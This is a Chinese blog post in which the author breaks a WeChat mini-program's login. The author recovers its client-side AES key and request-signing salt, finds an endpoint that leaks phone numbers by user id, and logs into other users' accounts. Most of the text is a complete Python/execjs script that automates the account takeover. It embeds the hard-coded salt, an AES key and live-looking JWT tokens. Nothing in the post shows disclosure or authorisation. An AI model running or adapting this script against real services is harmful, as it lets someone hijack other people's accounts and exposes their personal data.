最近无聊挖洞,发现一个小程序防护做的非常严,但是我就要死磕他
抓包环境 and 小程序逆向(忽略)
看看我的
抓个登入包
加密了,翻翻源码
是Encrypt函数加密的
key是wx.getStorageSync("key");获得的
key是g(e)获得的 看一下什么东西调用了getKeys函数
是某个请求包的返回包中的参数nonFixedSax和fixedSax
小伙子挺会藏的呀,我怀疑我在打ctf
获得key后走了个g函数
g函数就是个一个加密函数
获得密钥试试
可以解密
然后尝试修改id看看可不可以登入到别人的账号上面
发现请求过期,应该是sign搞的鬼
他先添加了两个参数saltValue和timestamp当前时间戳
然后进行了排序首字母大小写排序
类似于这样
然后???
我见过很多aes加密的js
第一次见到这样加密的,没有密钥貌似只是16进制了一下,然后大写md5一下
写一下js构造了一个js脚本
然后放到python中,js我实在不熟
使用execjs调用js函数
这样sign和timestamp就搞定了
不行我测试了一会儿发现是验证了userid和手机号的一致性
就需要找到一个userid查询到手机号的接口
我直接爆破
js找到接口
搞成list,函数就填几个可能的参数比如userid和id什么的
然后python梭哈requests配置一下proxies到burp
burp查看结果
找到了一个接口可以通过id来查询到手机号
接下来有了userid和手机号
手机号aes加密
然后构造脚本
获得token
burp替换token尝试登入
刷新小程序
登入成功
开始构造脚本
userid(sigin,timestamp)获得手机号-->
手机号aes加密+userid(sigin,timestamp)获得token
burp替换token完成登入
import execjs
import requests
import json
import binascii
from Crypto.Cipher import AES
import base64
from Crypto.Util.Padding import pad, unpad
md5\_js\="""
......
function AES\_Encrypt(word) {
var srcs = CryptoJS.enc.Utf8.parse(word);
//console.log(srcs);
var aaa=CryptoJS.enc.Hex.stringify(srcs);
return aaa.toString();
}
{1}
function yierjiami(ra) {
{1}
const jsonStr = ra;
{1}
const jsonObj = JSON.parse(jsonStr);
jsonObj.saltValue = "c3Kx$0i67sds#";
jsonObj.timestamp = Date.now().toString();
//jsonObj.timestamp = "1703606967481"
{1}
const sortedJsonObj = sortObjectKeys(jsonObj);
const sortedJsonStr = JSON.stringify(sortedJsonObj);
{1}
console.log(sortedJsonStr);
var aaa=AES\_Encrypt(sortedJsonStr);
{1}
return \[r(aaa).toUpperCase(),jsonObj.timestamp\];
{1}
}
"""
def aes\_ecb\_encrypt\_hex(plaintext, key):
cipher \= AES.new(key, AES.MODE\_ECB)
padded\_plaintext \= pad(plaintext.encode(), AES.block\_size)
ciphertext \= cipher.encrypt(padded\_plaintext)
return binascii.hexlify(ciphertext).decode()
id\=111
content \= '{"id":"%s"}'%(id)
ctx \= execjs.compile(md5\_js)
sign,time \= ctx.call('yierjiami', content)
url \= "https://xxx.xxx.com.cn/Pacificlife/myConsumer/detail"
headers \= {
"syscode": "TXQMP",
"charset": "utf-8",
"identify": "e4750356-9f8e-4a63-bdc3-80aca36699b6",
"sign": sign,
"User-Agent": "Mozilla/5.0 (Linux; Android 10; Pixel XL Build/QP1A.191005.007.A3; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160027 MMWEBSDK/20230805 MMWEBID/2433 MicroMessenger/8.0.42.2460(0x28002A58) WeChat/arm64 Weixin NetType/WIFI Language/zh\_CN ABI/arm64 MiniProgramEnv/android",
"content-type": "application/json",
"token": "eyJhbGciOiJIUzUxMiJ9.eyJjb25zdW1lcklkIjoxMjEsImNyZWF0ZWQiOjE3MDM2MTg3OTk4MTl9.goZ0iMAXuBhNk6GOwDWmHULU\_oO5HI6bv3YB0DqxJzTGvt5PUzGmo\_AXTkVjUMZRe66WCl8\_ZLCh41UNahis3w",
"Accept-Encoding": "gzip, deflate",
"timestamp": time
}
response \= requests.get(url, json.loads(content), headers\=headers,verify\=False)
re1\=json.loads(response.text)
try:
phone\=re1\['data'\]\['secPhone'\]
print(phone)
if(phone\==None):
print("userid没绑定手机号登入失败")
exit()
except:
print("没手机号登入失败")
exit()
key\_hex \= b'3631475463441074'
plaintext\="{}".format(phone)
ciphertext \= aes\_ecb\_encrypt\_hex(plaintext, key\_hex)
print(ciphertext)
content \= '{"id":"%s","phone":"%s","name":"","salesCode":"","password":"","type":"1"}'%(id,ciphertext)
ctx \= execjs.compile(md5\_js)
sign,time \= ctx.call('yierjiami', content)
url \= "https://xxx.xxx.com.cn/Pacificlife/consumer/login"
headers \= {
"syscode": "TXQMP",
"charset": "utf-8",
"identify": "e4750356-9f8e-4a63-bdc3-80aca36699b6",
"sign": sign,
"User-Agent": "Mozilla/5.0 (Linux; Android 10; Pixel XL Build/QP1A.191005.007.A3; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160027 MMWEBSDK/20230805 MMWEBID/2433 MicroMessenger/8.0.42.2460(0x28002A58) WeChat/arm64 Weixin NetType/WIFI Language/zh\_CN ABI/arm64 MiniProgramEnv/android",
"content-type": "application/json",
"Accept-Encoding": "gzip, deflate",
"token": "eyJhbGciOiJIUzUxMiJ9.eyJjb25zdW1lcklkIjoyNDIwMzIyLCJjcmVhdGVkIjoxNzAzNTk4Nzg2MjMzfQ.bnLooesbfQ6ikCJ7WUAuPWFstAD4d\_SZGq-Kijln2\_QPKJC0rrxf7lKzz12nCmxnAX5r3DYbSBP7jO1RwnndaQ",
"timestamp": time
}
#response = requests.get(url, params, headers=headers,proxies=proxies,verify=False)
response \= requests.post(url, data\=json.dumps(json.loads(content)), headers\=headers,verify\=False)
re2\=json.loads(response.text)
print("手机号:{}\\ntoken:{}\\n".format(phone,re2\['data'\]\['token'\]))
转载于:yier的博客
7 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!